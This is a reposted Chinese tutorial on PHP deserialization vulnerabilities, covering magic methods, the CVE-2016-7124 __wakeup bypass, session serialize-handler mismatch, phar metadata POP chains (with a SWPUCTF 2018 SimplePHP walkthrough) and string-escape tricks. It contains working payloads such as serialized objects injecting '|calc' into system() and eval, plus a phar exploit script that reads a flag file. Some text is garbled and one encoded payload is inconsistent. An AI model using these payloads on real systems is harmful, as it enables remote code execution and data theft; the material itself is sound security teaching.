PHP序列化與序列化
作者:H3h3QAQ
一、PHP序列化和反序列化
1.PHP反序列化:
serialize()
將變數或者物件轉換成字串的程序,用于存盤或傳遞PHP的值的程序種,同時不丟失其型別和結構
常見的序列化字母表示及其含義:
a - array ----->a:<n>:{<key 1><value 1>...<key n><value n>}
b - boolean ----->b:<digit>
d - double ----->d:<number>
i - integer ----->i:<number>
o - common
r - reference
s - string ----->s:<length>:"<value>"
C - custom object
O - class ----->O:<length>:"<class name>":<n>:{<field name 1><field value1>...<field name n><field value n>}
N - null
R - pointer reference
U - unicode string
<?php
class h3{
public $v1;
public $v2=false;
public $v3=1;
public $v4=2.1;
public $v5=array();
public $v6="h3h3QAQ";
private $v7="H3h3QAQ";
protected $v8="protected";
}
$s=serialize(new h3());
echo $s;
var_dump(unserialize($s));
序列化運行結果為:
O:2:"h3":8:{s:2:"v1";N;s:2:"v2";b:0;s:2:"v3";i:1;s:2:"v4";d:2.1;s:2:"v5";a:0:{}s:2:"v6";s:7:"h3h3QAQ";s:6:" h3 v7";s:7:"H3h3QAQ";s:5:" * v8";s:9:"protected";}
反序列化運行結果
object(h3)#1 (8) {
["v1"]=>
NULL
["v2"]=>
bool(false)
["v3"]=>
int(1)
["v4"]=>
float(2.1)
["v5"]=>
array(0) {
}
["v6"]=>
string(7) "h3h3QAQ"
["v7":"h3":private]=>
string(7) "H3h3QAQ"
["v8":protected]=>
string(9) "protected"
}
(1)各種魔術方法
__destruct()://解構式當物件被銷毀時會被自動呼叫
__wakeup(): //unserialize()時會被自動呼叫
__invoke(): //當嘗試以呼叫函式的方法呼叫一個物件時,會被自動呼叫
__call(): //在物件背景關系中呼叫不可訪問的方法時觸發
__callStatci(): //在靜態背景關系中呼叫不可訪問的方法時觸發
__get(): //用于從不可訪問的屬性讀取資料
__set(): //用于將資料寫入不可訪問的屬性
__isset(): //在不可訪問的屬性上呼叫isset()或empty()觸發
__unset(): //在不可訪問的屬性上使用unset()時觸發
__toString(): //把類當作字串使用時觸發
__construct(): //建構式,當物件new的時候會自動呼叫,但在unserialize()時不會自動呼叫
__sleep(): //serialize()函式會檢查類中是否存在一個魔術方法__sleep() 如果存在,該方法會被優先呼叫
當PHP5<5.6.25、PHP7<7.0.1時,當成員屬性數目大于實際數碼時可繞過__wakeup方法(CVE-2016-7124)
(2)PHP反序列化特性
1.PHP在反序列化時,底層代碼時以;作為欄位的分隔,以}作為結尾(字串除外),并且是根據長度判斷內容的,
2.在反序列的時候php會根據s所指定的字符長度去讀取后面的字符,如果指定的長度錯誤則反序列化就會失敗,
3.對類中不存在的屬性也會進行反序列化,
2.session反序列化
(1)session概念
PHP session時一個特殊的變數,用于存盤有關用戶會話的資訊,或更改用戶會話的設定,session變數保存的資訊是單一用戶的,并且可供應用程式中的所有界面使用,它每個訪問或者創建都有唯一的id(UID),并基于這個UID來儲存變數,UID儲存在cookie中,或者通過URL來進行傳導,
(2)會話程序
當開始一個會話時,PHP會嘗試從請求中查找會話ID(通常通過會話cookie),如果請求中不包括會話ID資訊,PHP就會創建一個新的會話,會話開始之后,PHP就會將會話中的資料設定到$_SESSION變數中,當PHP停止的時候,它會自動讀取$_SESSION中的內容,并將其進行序列化,然后發送會話保存管理器來進行保存,
默認情況下,PHP使用內置的檔案會話保存管理器(files)來完成會話的保存,可以通過呼叫函式session_start()來手動開始一個會話,如果配置項session.auto_start設定為1,那么請求開始的時候,會話會自動開始
PHP腳本執行完畢之后,會話會自動關閉,同時,也可以通過呼叫函式session_write_close()來手動關倍訓話
(3)存盤引擎
PHP中的session中的內容默認是以檔案的方式儲存,儲存方式是由配置項session.save_handler來進行確定的,默認是以檔案的方式儲存,儲存的檔案是以sess_PHPSESSID來進行命名的,檔案的內容就是session值得序列化之后得內容,
session.serialize_handler有如下三種取值:

<?php
error_reporting(0);
in_set('session.serialize_handeler','php_binary');//這里可以換不同的存盤引擎
session_start();
$_SESSION['username']=$_GET['username'];
?>
每種存盤引擎存盤的內容格式:

3.phar反序列化
phar反序列化就是可以在不使用php函式unserialize()的前提下,進行反序列化,從而引起php物件注入漏洞
phar檔案的結構:
-stub:phar檔案標識,前面內容不限,但是必須以__HALT_COMPILER();?>來結尾,否則phar擴展將無法識別這個檔案為phar檔案
-manifest:壓縮檔案的屬性等資訊,以序列化的形式儲存自定義的meat-data,這里就是漏洞利用的關鍵點
-contents:壓縮檔案的內容
-signature:簽名,在檔案末尾
生成phar檔案
一定要將php.ini中的phar.readonly選項設定為Off
<?php
class h3{
}
@unlink("phar.phar");
$phar= new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");//設定stub,添加gif檔案頭
$o=new h3();
$phar->setMetadata($o);//將自定義meat-data存入manifest
$phar->addFromString("test.txt","test");//添加要壓縮的檔案
$phar->stopBuffering();
?>
二、反序列化漏洞
1.反序列化成因
主要是反序列化程序中某些引數可控,傳入構造的字串,從而控制內部的變數設定函式,執行想要的操作
(1)phar反序列化漏洞造成原因
漏洞出發點在使用phar://協議讀取檔案的時候,檔案內容黑背決議成為phar物件,然后phar物件內的Meta-data資訊會被反序列化,當內核呼叫phar_parse_metadata()決議met-adata資料時,會呼叫php_var_unserialize()對其進行反序列化操作,因此會造成漏洞
2.反序列化漏洞
(1)PHP反序列化漏洞
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host)
{
system("ping -C 2 $host");
}
function __wakeup()
{
$this->args = array("127.0.0.1");
}
}
$a=@$_GET['a'];
@unserialize($a);
?>
我們可以簡單的分析一下代碼
定義了一個class類,類中有兩個私有變數method和args
有三個魔術方法:
function __construct($method, $args) //建構式,當物件new的時候會自動呼叫,但在unserialize()時不會自動呼叫
{
$this->method = $method;
$this->args = $args;
}
function __destruct() //解構式當物件被銷毀時會被自動呼叫
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function __wakeup() //unserialize()時會被自動呼叫
{
$this->args = array("127.0.0.1");
}
分析代碼段中host的來源,想辦法利用system()構成RCE
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
private $method;
private $args;
function __construct($method, $args) //建構式,當物件new的時候會自動呼叫,但在unserialize()時不會自動呼叫
{
$this->method = $method;
$this->args = $args;
}
function __destruct()//解構式當物件被銷毀時會被自動呼叫
{
// TODO: Implement __destruct() method.
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host)
{
system("ping -C 2 $host");
}
function __wakeup() //unserialize()時會被自動呼叫
{
$this->args = array("127.0.0.1");
}
}
$a=@$_GET['a'];
@unserialize($a);
?>
我們觀察代碼可知:
GET方法獲取引數a,并且將其反序列化,
但是再執行反序列化的時候,會自動呼叫__wakeup()魔術方法,把args的值改為127.0.0.1
無論我們怎么構造payload,system()執行的命令都是ping -c 2 127.0.0.1
這時我們可以利用到CVE-2016-7124漏洞
適用版本:
PHP5<5.6.25、PHP7<7.0.1
當成員屬性數目大于實際數碼時可繞過__wakeup方法
就可以構造惡意payload來RCE
這里還有個小知識點|管道符
把一個命令的標準輸出傳送到另一個命令的標準輸入中,連續的|意味著第一個命令的輸出為第二個命令的輸入,第二個命令的輸入為第一個命令的輸出,
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-r7agq5Oe-1630380854547)(https://i.loli.net/2021/08/24/xMTGeRKUBzPyNmA.png)]
所以我們可以構造序列化了
<?php
class home{
private $method="ping";
private $args=array("|calc");
}
serialize(new home());
O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}}
需要跳一下__wakeup()把成員屬性數目改為3
O:4:"home":3:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}}
URL編碼一下
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22%7Ccalc%22%3B%7D%7D

成功RCE
(2)session反序列化漏洞
當網站序列化存盤session與反序列化讀取session方式不同時,就可能導致session反序列化漏洞的產生,一般都是以php_serialize序列化存盤session,以PHP反序列化讀取session,造成反序列化攻擊
例子:
phpinfo:

s1.php:
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set("session.serialize_handler",'php_serialize');
session_start();
$_SESSION["h3"]=$_GET["u"];
?>
s2.php:
<?php
highlight_file(__FILE__);
session_start();
class session{
var $var;
function __destruct(){
eval($this->var);
}
}
?>
這里需要說一下unserialize的特性,在執行unserialize的時候,如果字串前面滿足了可被序列化的規則,則后學的字符就會被忽略
a:1:{s:2:"h3";s:52:"|O:7:"session":1:{s:3:"var";s:15:"system('calc');";}";}
exp:
<?php
class session{
var $var="system('calc');";
}
echo "|".serialize(new session());
執行結果:

)]
勺ò干以給$_SESSION賦值,若代碼中不存在給$_SESSION賦值可以利用uplode_process機制,可以在$_SESSION中創建一個鍵值對,其中的值可以控制
<?php
$key=ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");
var_dump($_SESSION[$key]);
?>
(3)phar反序列化
利用條件:
-phar檔案能夠上傳到服務器
-要有可用的魔術方法作為“跳板”
-檔案操作函式的引數可控,且:/ \ 等特殊字符沒有被過濾
有序列化資料必然會有反序列化操作,php一大部分的檔案系統函式在通過phar://偽協議決議phar檔案時,都會將meta-data進行反序列化,受影響的函式如下

例題:
[SWPUCTF 2018]SimplePHP

存在任意檔案讀取
先來讀取一下upload_file.php
<?php
include 'function.php';
upload_file();
?>
再來讀取一下function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上傳成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>請選擇上傳的檔案:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
再讀取一下base.php
發現了提示

回頭再來看class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
在Test類中存在敏感操作
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
可以反向推poc鏈
通過file_get_content來讀取我們想要的檔案,也就是呼叫file_get函式,之前分析得知__get->get->file_get,所以關鍵是觸發__get方法,那么就要外部訪問一個Test類沒有或不可訪問的屬性,我們注意到前面Show類的__tostring方法
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
public function __toString() //把類當作字串使用時觸發
{
$content = $this->str['str']->source;
return $content;
}
查看一下怎么能夠觸發__toString()方法
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
知要echo test即可
整條鏈子為
C1e4r::destruct() -> Show::toString() -> Test::__get()
exp如下
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a= new C1e4r();
$b= new Show();
$c= new Test();
$c->params['source'] = "/var/www/html/f1ag.php";
$a->str = $b;
$b->str['str'] = $c;
$phar = new Phar("exp.phar"); //生成phar檔案
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //觸發頭是C1e4r類
$phar->addFromString("exp.txt", "test"); //生成簽名
$phar->stopBuffering();
?>
修改生成得phar檔案后綴
上傳成功后回到檔案讀取點來讀phar檔案
拿到base64加密得flag

反序列化字符逃逸
一、概念
在反序列化前,對序列化后的字串進行替換或者修改,使得字串的長度發生了變化,通過構造特定的字串,導致物件注入等惡意操作,
二、字符變多
例子:
該題原始碼如下
<?php
include 'flag.php';
function filter($string){
return str_replace('x','yy',$string);
}
$username=$_GET['u'];
$password="aaa";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
echo $r;
$a= unserialize($r);
if ($a[1]==='admin'){
echo $flag;
}
highlight_file(__FILE__);
?>
檔案包含了flag
然后filter()方法,會將序列化字串中的x替換為yy,可能會導致字串長度
我們試著傳入u=admin
序列化為:
a:2:{i:0;s:5:\"admin\";i:1;s:3:\"aaa\";}
反序列化后

a[1]不等于"admin" 沒有滿足條件
我們構造一下陣列
<?php
$a= array('a',"admin");
echo serialize($a);
a:2:{i:0;s:1:"a";i:1;s:5:"admin";}
但是我們只有一個引數username可控
可以利用字串逃逸
復制自己想要構造的字串
";i:1;s:5:"admin";}
按照長度添加字串,已知長度為19
則在前方填充19個x
'xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}
測驗一下
<?php
$a= array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}',"a");
$s= serialize($a);
$v = str_replace('x','yy',$s);
echo $v;
運行結果
a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:1:"a";}
可以看到已經逃逸出來了
這里利用了序列化的特性
反序列化看一下
array(2) {
[0] =>
string(38) "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"
[1] =>
string(5) "admin"
}
可以觀察整個資料的變化

成功逃逸,獲得flag
三、字符變少
也是拿一道題做例子
<?php
error_reporting(0);
include 'flag.php';
function filter($string){
return str_replace('sec','',$string);
}
$username=$_GET['u'];
$password=$_GET['p'];
$auth="guest";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
$a=unserialize($r);
if($a[2]==='admin'){
echo flag;
}
highlight_file(__FILE__);
?>
跟上一道題差不多
先隨意構造一下爭取的payload:
<?php
$a= array("u","p","admin");
$s= serialize($a);
echo $s;
$v = str_replace('sec','',$s);
運行后拿到所需部分
";i:2;s:5:"admin";}
需要我們傳入的payload
u=xxx&p=xxxx
已知兩個可控值中間的部分不變(可能會多一位)
";i:1;s:1:"
這里可以利用替換方法換成空值從而完成逃逸
<?php
$a= array("secsecsecsec",'";i:1;s:1:"p";i:2;s:5:"admin";}',"admin");
$s= serialize($a);
echo $s;
$v = str_replace('sec','',$s);
執行結果
a:3:{i:0;s:12:"secsecsecsec";i:1;s:31:"";i:1;s:1:"p";i:2;s:5:"admin";}";i:2;s:5:"admin";}
可以看到已經完成了逃逸
反序列化一下看看
array(3) {
[0] =>
string(12) "";i:1;s:31:""
[1] =>
string(1) "p"
[2] =>
string(5) "admin"
}

a[2]=admin 拿到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296487.html
標籤:其他
